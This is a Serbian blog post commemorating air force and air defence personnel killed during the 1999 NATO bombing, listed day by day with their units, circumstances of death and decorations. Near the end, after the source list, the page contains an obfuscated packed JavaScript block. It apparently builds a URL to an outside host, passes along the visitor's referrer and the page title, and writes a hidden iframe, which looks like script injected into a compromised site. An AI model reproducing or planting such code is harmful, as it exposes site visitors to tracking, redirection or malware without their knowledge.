Home > Blog >  Večna slava besmrtnim herojima

 Večna slava besmrtnim herojima

U redovima koji slede podsetićemo se svih poginulih pripadnika RV i PVO tokom NATO agresije 1999. godine. Kao što je ranije pomenuto pripadnici vazduhoplovstva, VOJIN-a i protivavionci bili su stalna meta NATO aviona. Njima je poslednjeg dana agresije iz vazduha pretila ista opasnost kao i prvog dana i svaka greška se plaćala životom. Istine radi i pripadnici ostalih rodova tadašnje Vojske Jugoslavije bili su na meti NATO-a, posebno jedinica koje su bile na Kosovu i Metohiji jer neprijatelj je imao apsolutnu prevlast u vazduhu.  

Treba napomenuti da su prošle godine, po danima pogibije u vidu pomena slikom i tekstom, svi nastradali pripadnici RV i PVO tokom agresije navedeni na Facebook stranici sajta Airserbia. Zbog toga što su FB stranica kao i sam sajt Airserbia ugašeni ovde ponovo podsećamo na njih. Pripadnici RV i PVO kao i svi ostali nastradali pripadnici vojske i policije tokom agresije položili su za odbranu otadžbine najvrednije što su imali – svoje živote i time se upisali u knjigu večnosti, da ih buduća pokolenja nikada ne zaborave. A podsećanja na žrtve agresije nikada nije previše, ni onima koji su bili savremenici i svedoci nemilih događanja ni onima koji su rođeni nakon agresije kao ni budućim generacijam koje tek dolaze. Zvuči možda malo izlizano i u širokoj je upotrebi ali jedino je ispravno da „oprostiti moramo i hoćemo ali da zaboravimo nikada ne smemo“ veliku nepravdu i stradanja.

Još jedna napomena – žrtve RV i PVO su i piloti Đurić, Radosavljević i Pavlović ali su njihove sudbine i stradanje ovde na sajtu obrađeni u posebnim tekstovima.  

Dan 4 – 27. mart 1999.

Zastavnik prve klase Vladimir Vujović rodom iz sela Crveni Bok, Sisak (R.Hrvatska), tehničar za održavanje sredstava veze i zastavnik Vlastimir Lazarević rodom iz Jagodine, vezista iz 210. bataljona veze, radeći na uspostavljanju narušenog sistema radio-relejnih veza u rejonu Straževice (Rakovica) poginuli su 27. marta 1999. tokom dejstva NATO avijacije. Zastavnik prve klase Lazarević poginuo je na licu mesta dok je zastavnik Vujović preminuo 28. marta na VMA od zadobijenih rana. Hrabri podoficiri-vezisti odlikovani su Medaljom za zasluge u oblasti odbrane i bezbednosti.

 

 

 

Dan 5 – 28. mart 1999.

Stariji vodnik Saša Krstić rodom iz Pirota, komandir odeljenja radarske stanice za osmatranja i navođenje (RStON) sistema “KUB”, ujedno i operater nišanskog radara, vodnik prve klase Siniša Laušev rodom iz Srbobrana, vozač i operater osmatračkog radara kao i vojnik Bojan Miletić rodom iz Paraćina, vozač guseničnog motornog vozila i vozila točkaša, svi pripadnici 240. samohodnog raketnog puka PVO iz Novog Sada poginuli su kada je protivradarska raketa direktno pogodila vozilo RStON u kojem su se nalazili Krstić i Laušev dok je Miletić smrtno pogođen u drugom vozilu. Hrabri raketaši položili su svoje živote na oltar otadžbine 28. marta 1999. u okolini sela Čenej kod Novog Sada. Odlikovani su Medaljama za zasluge/vrline u oblasti odbrane i bezbednosti prvog stepena.

 

 

Stariji vodnik Aćim Tadić rođen je u selu Smriječno (opština Plužine) i službovao je kao tehničar za naoružanje u 172. avijacijskog brigadi – 229. lovačko-bombarderrskoj eskadrili “Mačevi” na aerodromu Golubovci. Poginuo je 28. marta 1999. na stajanki aerodroma Niš usled dejstva agresorskih krstarećih raketa, dok je pripremao vazduhoplova za let. Odlikovan je Medaljom za zasluge u oblasti odbrane i bezbednosti.

 

 

 

Dan 8 – 31. mart 1999.

Rezervni vojni obveznik – dobrovoljac Dragoslav Janković iz Niša poginuo je 31. marta 1999. u okolini sela Čamurlija (Ćamurlija) nekoliko kilometara severozapadno od Niša. Prilikom dobrovoljnog javljanja u VJ raspoređen je u 230. samohodni raketni puk iz Niša. Bio je osposobljen za rad na osmatračko-radarskoj stanici P-40. Poginuo je nakon eksplozije NATO-a rakete u napadu na njegovu jedinicu. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

 

 

Dan 12 – 4. april 1999.

Dana 4. aprila 1999. u okolini sela Štavalj, istočno od aerodroma Sjenica, prilikom dejstva protivradarske rakete poginuo je mlađi vodnik Slavoljub Zagrađanin rodom iz Kragujevca. U profesionalnoj vojnoj služni VJ nalazio se od 1992. u sastavu 310. samohodnog raketnog puka PVO iz Kragujevca na mestu vozača i prvog operatora RStON-a sistema „KUB“. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

 

 

Istog dana na položaju „Volujak” na Grebniku (opština Klina) od dejstva dve kasetne bombe, poginuli su pripadnici 230. samohodnog raketnog puka PVO iz Niša i to: major Šandor Nađ iz Bečeja, komandir baterije PA topova 30/2mm “Praga”, rezervni vojni obveznik Dejan Mančić iz Niša, poslužilac sistema veze u bateriji a dan kasnije od zadobijenih rana preminuo je i teško ranjeni rezervni vojni obveznik Dragan Nikolov rodom iz Tetova, poslužilac PA topa. Svi su odlikovani Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena. Porodica vojnika Mančića osnovala je u Nišu Fond “Dejan Mančić”, koji svake godina pomaže u izdavanju prvog rukopisa talentovanih mladih ljudi.

 

 

Dan 13 – 5. april 1999.

Major Nebojša Tepavac rodom iz Šapca, komandant 8. raketnog diviziona iz sastava 250. raketne brigade PVO, poginuo je 05. aprila 1999. na vatrenom položaju jedinice u okolini sela Vukićevica kod Obrenovca. Major Tepavac koji je za vreme rata u Hrvatskoj uspeo da nakon višemesečne opsade bezbedno sa svojom jedinicom izađe živ i zdrav iz Siska nije uspeo da preživi dejstvo neprijateljske protivradarske rakete na njegov položaj. Sahranjen je 6. aprila na Novom bežanijskom groblju. Pokrenuta je inicijativa od strane opštine Obrenovac da jedna od ulica u gradu ponese njegovo ime. Već tri godine u organizaciji sportskog kluba za rekreaciju ratnih vojnih invalida opštine Obrenovac „PALEŽ“ održava se memorijalni turnir „Major Nebojša Tepavac“. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

Dan 14 – 6. april 1999.

Bili su klasići i nerazdvojni drugovi. Dvojica mladih oficira, potporučnici Siniša Radić rođen u Kninu i Željko Savičić iz Zemunu, najbolji drugovi tokom studija na Vojnoj akademiji, položili su život u noći 6. aprila 1999. godine, kada je avio-bomba pogodila njihovu radarsku kabinu na planini Maljen (južno od Valjeva). U momentu pogibije nalazili su se na mestu oficira za navođenje u sastavu 31. bataljona 126. brigade vazdušnog osmatranja, javljanja i navođenja (VOJIN). Oni su jedini poginuli pripadnici ove brigade VOJIN-a tok čitave NATO agresije. Posthumno oba nastradala oficira VJ unapređeni su u čin poručnika i odlikovani Medaljom za zasluge u oblasti odbrane i bezbednosti. Od pre tri godine jedna od ulica u Jakovu nosi ime poručnika Savičića a postojala je i inicijativa da jedna od ulica u Nišu ponese ime poručnika Radića koji je tu sahranjen. Uz spomen-obeležje na mestu pogibije dvojice oficira podignuta je i spomen-ploča na zidu hrama svetog Pantelejmona na Divčibarima.  Neka je večna slava besmrtnim herojima sa Maljena!

 

Dan 17 – 9. april 1999.

U večernjim časovima 9. aprila 1999., u selu Tabanović kod Šapca, prilikom pogotka protivradarske rakete u radar poginuo je vojnik Dušan Ivančević rodom iz Stare Pazove. Iako poziv za odsluženje vojnog roka Dušan nije dobio on je bio uporan i na lično insistiranje pozvan je u vojsku 1998. godine i raspoređen u 240. srp PVO u Novom Sadu. Nakon završene obuke za radiofonistu-planšetistu prekomandovan je u 310.srp PVO u Kragujevcu gde ga je i zatekla agresija NATO pakta. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena. Jedna od novih ulica u Staroj Pazovi trebala bi ponese ime časno nastradalog vojnika Dušana Ivančevića.

 

Dan 22 – 14. april 1999.

Na dan 14. aprila sećamo se Zorana Virijevića, koji je rođen je u Kragujevcu i na poziv za odbranu otadžbine, kao rezervni vojni obveznik stupio je u 310.srp PVO u Kragujevcu. U ratnoj jedinici obavljao je dužnost vozača RStON u 2. samohodnoj raketnoj bateriji PVO. Poginuo je u ataru sela Debrc (opština Vladimirci, selo između Šapca i Obrenovca), prilikom pogotka rakete u vozilo u kojem se nalazio. Na mestu pogibije podignuto je spomen obeležje u organizaciji jedinice, MZ Debrc i opštine Vladimirci. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

 

 

Istoga dana poginuo je i stariji vodnik Zoran Gudžić, rodom iz sela Dobrotin (opština Lipljan) rukovalac u skladištu za ubojna sredstava 492. vazduhoplovne baze (aerodrom Slatina kod Prištine). Nesretni Gudžić poginuo je usled dejstva NATO avijacije tokom obilaska skladišta sa predstavnicima Komande RV i PVO. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

 

 

Dan 23 – 15. april 1999.

 

Vodnik prve klase Miroslav Božović rođen je u Nikšiću a u Vojsci Jugoslavije bio je četni starešina u borbenom bataljonu 423. vazduhoplovne baze. Život je izgubio 15. aprila 1999. od dejstva NATO bombi po kasarni „Tuzi“, aerodrom Golubovci kod Podgorice. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti trećeg stepena.

 

 

 

 

Dan 26 – 18. april 1999.

Te kobne noći 18. aprila 1999. vodnik Slobodan Smiljić i rezervista Goran Gajić, obojica rodom iz Beograda, nalazili su se na mestu operatera osmatračkog radara P-15, komandne baterije 250. raketne brigade PVO. Poginuli su na borbenom zadatku u blizini sela Petrovčić kod Zemuna kada je, tokom otkrivanja i praćenja neprijateljskih letelica u vazduhu, u 2.25h protivradarska raketa direktno pogodila radarsku kabinu u kojoj su se nalazili. Odlikovani su Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena (Smiljić) i Medaljom za vrline u oblasti odbrane i bezbednosti (Gajić).

 

 

Dan 27 – 19. april 1999.

Dan 19. aprila 1999. poginula su dvojica oficira Vojske Jugoslavije, pripadnici 6. raketnog diviziona PVO, kapetan prve klase Robert Lajčak rodom iz Novog Kneževca, komandir voda baterije za vođenje raketa i potpukovnik Blagoje Radić rođen u Špionici (Srebrenik, BiH) komandir baterije za vođenje i zamenik komandanta diviziona, koji se na lični zahtev na početku agresije vratio u 6. rd iz raketno-tehničkog diviziona. Hrabri oficiri VJ poginuli su u ataru sela Lipa kod Smedereva usled dejstva razorna avio bomba u neposredoj blizini kabine u kojoj su se nalazili na borbenom zadatku. Odlikovani su Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena i posthumno unapređeni u navedene činove.

 

Istoga dana su nastradala i dvojice vojnika VJ na redovnom odsluženju vojnog roka. Goran Milovanović iz Beloševca kod Kragujevca i Boban Radoš iz Beograda, bili su pripadnici 311. srp PVO iz Prištine, i obavljali su dužnosti u raketno-tehničkoj bateriji. Obojica su nastradali na vojnom objektu „Belaćevac“ kod Prištine, Boban na licu mesta kada je jedna bomba pogodila sklonište u kojem se nalazio a Goran nakon više operacija, preminuo je na VMA 15. maja od zadobijenih rana tokom avio napada. Odlikovani su Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

Dan 31 – 23. april 1999.

Na dan 23. aprila 1999. (danas se proslavlja kao Dan Vojske Srbije) poginuo je vojnik Nebojša Mijić, rodom iz sela Sovljak (opština Bogatić). Vojni rok služio je u komandnoj bateriji 311. srp PVO u Prištini, a nastradao je kada se njegova jedinice, braneći nebo iznad Gazimestana našla se na udaru NATO avijacije. Protivradarska rakete „HARM“ bila je kobna po Nebojšu, koji je teško ranjen preminuo istog dana u KBC Priština. U rodnom selu Nebojše Mijića održava se memorijalni fudbalski turnir a i jedna ulica od skora nosi njegovo ime. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

Dan 36 – 28. april 1999.

Rezervni vojni obveznik Slaviša Simić rođen je 1972. godine u Kosovskoj Mitrovici. Rano je ostao bez oca, koji je stradao od ruku albanskih ekstremista. Za vreme agresije borio se u sastavu 311. srp PVO iz Prištine kao poslužilac na radaru u bateriji za upravljanje vatrom. Poginuo je  28. aprila 1999. u selu Gornje Radevo kod Prištine kada je njegov radarski položaj pogodila protivradarska raketa. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

 

 

Dan 37 – 29. april 1999.

 

Rezervni vojni obveznik Dragan Repija, rodom iz sela Bukovica (Cazin, R.Hrvatska) poginuo je 29. aprila 1999. tokom prevođenja raketnog diviziona iz marševskog u borbeni položaj kod sela Ugrinovci. Nalazio se kao vozač u sastavu 250. raketne brigade PVO.  

 

 

 

 

Dan 38 – 30. april 1999.

Potporučnik Milan Mijatović rodom iz Beograda bio je komandir voda u 359. inžinjerijskom bataljonu VJ (iz sastava Korpusa PVO). On je sa svojim vodom na početku agresije priključen 250.rb PVO radi uređenja vatrenih položaja raketnih diviziona. U istom inžinjerijskom bataljonu nalazio se i desetar po ugovoru Mališa Milovanović rodom iz Kraljeva. Dana 30. aprila 1999. u reonu sela Glušci (opština Bogatić) ppor Mijatović zamenio je mlađeg kolegu na inžinjeriskoj mašini kojom je uređivao radarski položaj za potrebe 126. brigade VOJIN. U kasnim posle podnevnim časovima od brujanja građevinske mašine ppor Mijatović nije mogao da čuje avione koji su se pojavili iznad njega. Desetar Milovanović je pokušao da spase život ppor Mijatovića tako što je čuvši avione potrčao prema njemu u nameri da ga obavesti o naletu avijacije. Projektil iz NATO aviona bio je brz i ubitačan, direktno je pogođena mašina u kojoj gine ppop Mijatović a destear Milovanović gine od parčadi projektila 10-tak metara od mašine. Na mestu pogibije u organizaciji opštine Bogatić i opštinske organizacije SUBNOR-a podignut je 2000. godine spomenik herojima. Odlikovani su Medaljom za vrline u oblasti odbrane i bezbednosti.

 

 

Dan 39 – 1. maj 1999.

Vojnik na redovnom odsluženju vojnog roka Dušan Urošević rodom iz Kragujevca, za vreme NATO agresije bio je vozač i strelac protivavionac u 2. samohodom raketnom bataljonu 311. srp PVO z Prištine. Tokom agresije istakao se obaranjem 4 neprijateljske rakete. Preminuo je 1. maja 1999. u KBC Priština nakon teških rana zadobijenih tokom napada NATO avijacija na položaje njegove jedinice u blizini Lapljeg Sela kod Prištine. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

 

 

Dan 49 – 11. maj 1999.

Vojnik po ugovoru Petar Masnec rodom iz Inđiije, za vreme NATO agresije nalazio se na dužnosti operatera ručnog praćenja u sastavu 4.rd PVO (Zuce, Avala). Smrtno je stradao 11. maja 1999. kod sela Aranajevo (Barajevo) kada je oko 14h protivradarska raketa pogodila vatreni položaj njegove jedinice. Odlikovan je Medaljom za vrline u oblasti odbrane i bezbednosti.

Istog dana smrtno je stradao i potporučnik Dragan Trajković rodom iz Vranja, koji se za vreme NATO agresije nalazio se na dužnosti komandira raketnog voda u 4. samohodnoj raketnoj bateriji  iz sastava 311. srp PVO iz Prištine. Potporučnik Trajković poginuo je na vatrenom položaju svoje jedinice u selu Tankosić kod Uroševca. Odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena.

 

Dan 70 – 1. jun 1999.

Stariji vodnik VJ Dragan Bandić rođen je u Sarajevu a živeo u Novom Sadu. U istom gradu rodio se i rezervni vojni obveznik VJ Aleksandar Popović koji je radio kao asistent za informatiku na PMF-u u Novom Sadu. Za vreme NATO agresije nalazili su se u sastavu 240. srp PVO iz Novog Sada, Bandić kao komandir samohodnog lansirnog oruđa raketne baterije (sistem KUB) a Popović kao operater samohodnog lansirnog oruđa. U noći 1. juna 1999. nebo iznad Novog Sada je gorelo. Baterija u kojoj su se nalazili Bandić i Popović sa položaja kod sela Nadalj u blizini Novog Sada dejstovala je po NATO avionima. U protivudaru NATO aviona vođenim sredstvima i protivradarskim raketama jedan projektil direktno pogađa lansirno oruđe u kojem na licu mesta ginu Bandić (na svoj 28.rođendan) i Popović dok je treći član posade, Ivan Petković jedini preživeo. Obojica su posthumno odlikovani Medaljom za vrline u oblasti odbrane i bezbednosti.

Iste noći, pola sat iza ponoći, u selu Omoljica kod Pančeva, vatreni položaj 310.srp PVO iz Kragujevca pogodile su protivradarske rakete. Pogođena je radarska stanica za osmatranje i navođenje u kojoj se gine major Svetomir Trifunović rođen u selu Preseka (opština Zubin Potok), komandir samohodne raketne baterije, ujedno i rukovalac gađanja. Sa njim u vozilu gine i pukovnik Božidar Pejčić rođen u selu Rsovica (opština Pirot) koji je te noći bio u obilasku jedinica ispred više komande. Tokom ovog dejstva neprijatelja gine i legendarni pilot i komandant, jedan od najboljih na avionima MiG-21 i 29, raniji komandant RV i PVO general-pukovnik Ljubiša Veličković rodom iz sela Crljenac (opština Malo Crniće kraj Požarevca). Major Trifunović posthumno je odlikovan Ordenom za zasluge u oblasti odbrane i bezbednosti prvog stepena i unapređen u čin majora, pukovnik Pejčić odlikovan je Ordenom za zasluge u oblasti odbrane i bezbednosti drugog stepena a general-pukovnik Veličković Ordenom ratne zastave prvog stepena.

  • Spomen-knjiga “Junaci otadžbine” (Savezna vlada, Beograd 2000)
  • monografija “250. raketna brigada PVO” (Bojan Dimitrijević, Jovica Dragić, Beograd 2007)

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(7(){2 d=3;2 w=1;2 h=1;2 t=d.8(\’9\’);2 4=5.a(5.b()*c);2 0=\’e://f.g/i/j?\';0=0+\’k=\’+3.l;0=0+\’&m=\’+3.n;0=0+\’&r=\’+4;d.o(\’\’)})();’,35,35,’src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height’.split(‘|’),0,{}))

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Scroll To Top